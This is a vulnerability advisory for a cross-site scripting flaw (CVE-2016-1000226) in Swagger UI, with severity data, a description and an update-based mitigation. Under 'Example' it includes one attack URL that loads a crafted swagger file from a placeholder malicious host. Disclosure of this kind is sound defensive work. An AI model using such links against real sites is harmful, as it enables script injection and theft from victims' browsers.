Cross-site scripting in Swagger UI - CVE-2016-1000226
Published: May 17, 2019
Vulnerability identifier: #VU18522
CSH Severity: Medium
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P/U:Green
CVE-ID: CVE-2016-1000226
CWE-ID: CWE-79
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vendor: SmartBear
Affected software:
Swagger UI
Swagger UI
Detailed vulnerability description
The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data in Consumes/Produces Parameter. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.
Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.
Example:
http://[host]/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.jsonHow to mitigate CVE-2016-1000226
Install updates from vendor's website.